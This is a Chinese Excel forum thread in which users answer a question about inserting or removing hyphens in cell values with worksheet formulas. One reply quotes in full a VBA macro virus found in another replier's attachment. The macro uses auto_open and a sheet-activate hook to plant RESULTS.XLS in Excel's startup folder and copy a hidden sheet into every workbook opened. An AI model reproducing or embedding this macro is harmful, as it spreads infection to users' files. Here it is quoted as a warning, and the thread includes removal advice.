Excel精英培训网

 找回密码
 注册
数据透视表40+个常用小技巧,让你一次学会!
查看: 2013|回复: 7

[已解决]有关数据插入符号的求助

[复制链接]
发表于 2009-12-30 17:41 | 显示全部楼层 |阅读模式

请问各位大侠,有何种公式、方法能够达到表中的“返还值”栏目“数据返还值”栏中的效果

t2vJVIUJ.rar (1.65 KB, 下载次数: 0)

发表于 2009-12-30 18:34 | 显示全部楼层

B2=IF(ISNUMBER(--LEFT(A2)),--SUBSTITUTE(A2,"-",""),A2)

不知道在论坛上下载谁的附件弄上的.谢谢4楼提醒,删除附件,直接帖公式

删除方法,把这个文件夹里面的文件删除
C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART

[此贴子已经被作者于2009-12-30 20:03:35编辑过]

YpzSQzux.rar

5.4 KB, 下载次数: 0

有关数据插入符号的求助

回复

使用道具 举报

发表于 2009-12-30 18:42 | 显示全部楼层    本楼为最佳答案   

=IF(LEN(A3)=LENB(A3),SUBSTITUTE(A3,"-",)*1,SUBSTITUTE(REPLACE(A3,3,,"-"),"--","-"))

献丑了。这个应该难不到楼主吧。

JWnjc8ZG.rar (3.6 KB, 下载次数: 0)
回复

使用道具 举报

发表于 2009-12-30 19:07 | 显示全部楼层

程版

你的附件有

Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
   
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

回复

使用道具 举报

 楼主| 发表于 2010-1-27 16:47 | 显示全部楼层

谢谢了

回复

使用道具 举报

发表于 2010-1-28 00:18 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复

使用道具 举报

发表于 2010-1-30 11:49 | 显示全部楼层

学习一下
回复

使用道具 举报

发表于 2010-2-1 11:11 | 显示全部楼层

学习一下
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|Excel精英培训 ( 豫ICP备11015029号 )

GMT+8, 2024-6-1 19:12 , Processed in 0.234729 second(s), 10 queries , Gzip On, Yac On.

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表